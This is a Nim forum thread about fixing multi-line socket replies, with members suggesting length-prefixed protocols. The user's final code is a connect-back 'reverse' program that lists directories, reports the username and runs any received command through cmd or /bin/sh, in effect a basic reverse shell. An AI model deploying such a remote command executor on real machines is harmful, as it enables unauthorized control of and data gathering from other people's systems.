Trying to get a list of file / folders to load from client to server, however, if the requests are longer than one line, it only shows the first line. Tried a for loop but not working correctly. Only the path request is having a problem. All others requests work because they are one line responses.
import net
import osproc
import std/[times, os]
let
ip = "127.0.0.1"
port = 443
socket = newSocket()
socket.connect(ip, Port(port))
while true:
try:
var input = socket.recvLine()
if input == "loggedin":
let username = getEnv("USERNAME")
let message = "Logged in user:"
socket.send(message & username & "\n")
if input == "time":
let mytime = format(now(), "d MMMM yyyy HH:mm")
let my_new_time = $mytime
socket.send(my_new_time)
if input[0..6] == "getsize":
let file_path = input[8..^1]
let file_size = os.getFileSize(file_path)
let the_file_size = $file_size
let message = "The file's size is:"
socket.send(message & the_file_size & "\n")
if input[0..3] == "path":
var my_path = input[5..^1]
for entry in walkDir(my_path):
let the_path = entry.path
let path_to_send = $the_path
socket.send(path_to_send & "\n")
except:
socket.send("\n")
#socket.close()
#system.quit(0)
except:
socket.close()
system.quit(0)
import net
var server: Socket = newSocket()
server.bindAddr(Port(443))
server.listen()
stdout.writeLine("The Sever is now Listening for incoming connections ... ")
var client: Socket = new(Socket)
server.accept(client)
stdout.writeLine("The connection has been established.")
while true:
let input: string = stdin.readLine()
client.send(input & "\r\L")
let message: string = client.recvLine(100000)
stdout.writeLine(message)
server.close()
For the path request here is the output.
path c:\
c:\$Recycle.Bin
Try
socket = newSocket(buffered=false)
I have fix the problem of just getting one line but its cause a different problem. I used a while loop to get all the lines, however, now I am knocked out of the original loop and loose the ability to continue making other requests.
UPDATED CODE that gets multiple lines but looses ability to make further requests -
import net
var server = newSocket()
server.bindAddr(Port(443))
server.listen()
echo "The Server is now listening for incoming connections..."
var client = newSocket()
server.accept(client)
echo "The connection has been established."
while true:
let input: string = readLine(stdin)
client.send(input & "\r\n")
# Receive all available lines from the client
var message: string = client.recvLine()
while message != "":
echo message
message = client.recvLine()
server.close()
Please help if possible.
@Naterlarsen recvLine() is a blocking call. That means that
while message != "":
echo message
message = client.recvLine()
will keep going as long as the client is sending it messages. As soon as those run out, you're stuck in message = client.recvLine() waiting for more input from the client, which will not come because you've done all of the work you can already. So you're not knocked out of the loop, you're still in both loops waiting for more input.
This is a classic server/client problem and a simple solution is to create a basic protocol for sending messages between client and server.
For example, you could have the client always first tell the server how many lines it is sending and then send all of the lines and loop over it in the server that exact amount of times.
(btw, you can add syntax highlighting by using ```nim at the beginning of your markdown codeblocks. Please try to include this as it makes it easier for people to read your code, which makes it easier to help you)
I think a for loop when requesting from server can be sent back to the client for the number of need loops and then run a for loop on the with the incoming data for that number of times.
Example code:
import os
echo "Please enter a directory path > "
let input_dir_path = readLine(stdin)
var x: int = 0
for entry in walkDir(input_dir_path):
x += 1
let dir_path = entry.path
echo dir_path
echo "Total number of entries: ", x
Have the server send the "x" and the data. Slice the x and then load the incoming data with a for loop for that number of times. Just my thoughts. Any disagreements would be welcome.
You are on a good way,
but I see some trouble ahead.
As @jyapayne said invent a Protokoll and write it down. I think that’s a good idea even in simple cases. Given your first implementation your protocol is like
So for this protocol the servers answer for path is wrong.
You could fix this by concatenating the paths strings and send one line back. But you have to split them up on the client… So a separator is needed. You adopt this in the protokoll
The server response for a path request is a whitespace separated list of path strings. Can a path string have a whitespace? Maybe a comma or something is better?
Or you go the other way and change the protocol. For example
I see a lot of possible index exceptions… So you might want to specify the layout of request as well
For example a request has a command and optional a path seperated by a new line.
You should implement it as written down.
Seems like a lot of work… but when you have troubles you can always read if what you are doing is what you have specified…
@Naterlarsen Yeah, oops, the while loop should be in the try block, like @gs mentioned
# server.nim
import net
import strutils
import std/[times, os]
let port = 443.Port
var server: Socket = newSocket()
server.setSockOpt(OptReusePort, true)
server.bindAddr(port)
server.listen()
stdout.writeLine("The Server is now listening for incoming connections ... ")
var client: Socket
var clientAddress = ""
server.acceptAddr(client, clientAddress)
echo "Client connected from: ", clientAddress
try:
while true:
var input = client.recvLine()
if input == "loggedin":
let username = getEnv("USERNAME")
let message = "Logged in user:"
# send length of 1 for one line
client.send("1\n")
client.send(message & username & "\n")
elif input == "time":
let mytime = format(now(), "d MMMM yyyy HH:mm")
let my_new_time = $mytime
client.send("1\n")
client.send(my_new_time & "\n")
# startsWith works better because there are no copies and you don't get size errors
elif input.startsWith("getsize"):
let
file_path = input[8..^1]
file_size = os.getFileSize(file_path)
the_file_size = $file_size
message = "The file's size is:"
client.send("1\n")
client.send(message & the_file_size & "\n")
elif input.startsWith("path"):
var my_path = input[5..^1]
var paths: seq[string] = @[]
for entry in walkDir(my_path):
let the_path = entry.path
let path_to_send = $the_path
paths.add(path_to_send)
client.send($paths.len & "\n")
client.send(paths.join("\n") & "\n")
except CatchableError:
echo getCurrentException().msg
finally:
client.close()
server.close()
I've kept the reverse client / server format rather than the typical format. I've been able to improve it somewhat thanks to examples by members of the forum. Highly appreciated.
Client Update -
import net
import strutils
var server: Socket = newSocket()
server.bindAddr(Port(443))
server.listen()
stdout.writeLine("The Sever is now Listening for incoming connections ... ")
var client: Socket = new(Socket)
server.accept(client)
stdout.writeLine("The connection has been established.")
while true:
let input: string = stdin.readLine()
client.send(input & "\r\L")
let message: string = client.recvLine()
if ":" in message:
for x in message.split(";"):
stdout.writeLine(x)
echo "\n"
else:
stdout.writeLine(message)
server.close()
Server Update -
import net
import osproc
import std/[times, os]
import strutils
let
ip = "127.0.0.1"
port = 443
socket = newSocket()
var cmd : string
if system.hostOS == "windows":
cmd = "cmd /C "
else:
cmd = "/bin/sh -c "
try:
socket.connect(ip, Port(port))
while true:
try:
var input = socket.recvLine()
if input == "disconnect" or input == "exit":
socket.send("[+] Exiting \n")
socket.close()
system.quit(0)
if input == "loggedin":
let username = getEnv("USERNAME")
let message = "Logged in user:"
socket.send(message & username & "\n")
if input == "time":
let mytime = format(now(), "d MMMM yyyy HH:mm")
let my_new_time = $mytime
socket.send(my_new_time)
if input[0..6] == "getsize":
let file_path = input[8..^1]
let file_size = os.getFileSize(file_path)
let the_file_size = $file_size
let message = "The file's size is:"
socket.send(message & the_file_size & "\n")
if input[0..3] == "path":
var resp = newSeq[string]()
let my_path = input[5..^1]
for entry in walkDir(my_path,checkDir=true):
resp.add(entry.path)
socket.send(join(resp,";") & "\n")
if input[0..2] == "cmd":
var command = input[3..^1]
var (result, _) = execCmdEx(cmd & command)
var resp = newSeq[string]()
let lines = result.splitLines()
for line in lines:
resp.add(line)
socket.send(join(resp, ";") & "\n")
except:
socket.send("\n")
#socket.close()
#system.quit(0)
except:
socket.close()
system.quit(0)
Output is now formatting correctly -
Output:
21 March 2023 21:37
loggedin
Logged in user:nater
getsize c:\users\nater\desktop\family_house.png
The file's size is:7726735
path c:\
c:\$Recycle.Bin
c:\$WinREAgent
c:\.android
c:\Apps
c:\appverifUI.dll
c:\c program
c:\Config.Msi
c:\dell
c:\dell.sdr
c:\Documents and Settings
c:\Downloads
c:\Drivers
c:\DumpStack.log
c:\DumpStack.log.tmp
c:\hiberfil.sys
c:\Intel
c:\mingw32
c:\OneDriveTemp
c:\pagefile.sys
c:\PerfLogs
c:\Program Files
c:\Program Files (x86)
c:\ProgramData
c:\Recovery
c:\swapfile.sys
c:\System Volume Information
c:\Users
c:\vfcompat.dll
c:\Windows
c:\Wondershare UniConverter 14
cmd dir c:\
Volume in drive C is OS
Volume Serial Number is 6423-A273
Directory of c:\
04/14/2020 10:59 PM <DIR> .android
07/30/2019 04:03 AM <DIR> Apps
10/19/2022 08:52 PM 112,104 appverifUI.dll
01/25/2023 08:11 PM <DIR> c program
02/10/2020 02:22 PM <DIR> dell
05/13/2021 04:08 PM <DIR> Downloads
07/30/2019 03:56 AM <DIR> Drivers
03/15/2023 09:01 PM <DIR> Intel
01/22/2023 05:09 PM <DIR> mingw32
12/07/2019 03:14 AM <DIR> PerfLogs
03/07/2023 07:35 PM <DIR> Program Files
01/27/2023 07:03 PM <DIR> Program Files (x86)
02/02/2023 07:24 PM <DIR> Users
10/19/2022 08:52 PM 66,176 vfcompat.dll
03/21/2023 05:26 PM <DIR> Windows
10/22/2022 08:59 PM <DIR> Wondershare UniConverter 14
2 File(s) 178,280 bytes
14 Dir(s) 2,241,994,752 bytes free
@Naterlarsen glad to have helped. As for how I got good at sockets, I wouldn't say I'm very good at them. I've been developing software professionally for 10 years or so, so there are things you pick up after that amount of time.
It helps that sockets are a fairly simple mechanism, from a basic usage standpoint. On the server, you open a socket on a port to listen on and block until you receive messages. On the client, you send messages and then wait for responses from the server. There are nuances like TCP/UDP, non-blocking, and others, but you only need to learn them once and they apply across programming languages.
As for resources, there aren't too many in Nim. This one has a good ramp-up style example for a chat server. If you're interested in theory, you can check out Beej's guide (HIGHLY recommended if you want to understand the what, why, and how of all of the socket options. He uses C code, but the explanations are excellent.) For Python socket use, Chapter 8 of Learning Python Network Programming has what looks to be a comprehensive guide (I haven't read it myself).
Just to say it loud, i didn't mean to criticize your code. Just wanted to point out why i think a webserver would be a better suited given the experience of the threads author...
And you see now we have Filetransfer ;)
@Naterlarsen Stick with what you have and count bytes instead of linebreaks...
@gs All good! I actually appreciated it. It's all in the service of making things better. I've had myself thousands of code reviews, so no harm done :)
I'm not so sure that a web framework would be better for him depending on what he wants to create. Typically the web client doesn't communicate with the server and the server sends content to the client. If he wants two way communication like this or if he just wants to learn sockets, then sticking with sockets I think is fine.
That being said, @Naterlarsen, you'll want to use sending bytes for your file transfer, just as @gs said. That is better suited to the approach I outlined where you send the number of bytes followed by the bytes of the file since a file doesn't need to have new lines.
@jyapayne you are absolutly right when it goes this way around... and the server requests stuff from the client, sockets are a better fit.
I would have maybe put the serverside to the clients... and connect to them one after the other, but then you have to know them.
Right now the server can only handle a single client i guess... But since i don`t know what this is about i should not reason about it :)
And sure learning from the scratch makes some sense, but honestly i am more like do what's easy and optimize what's needed ;)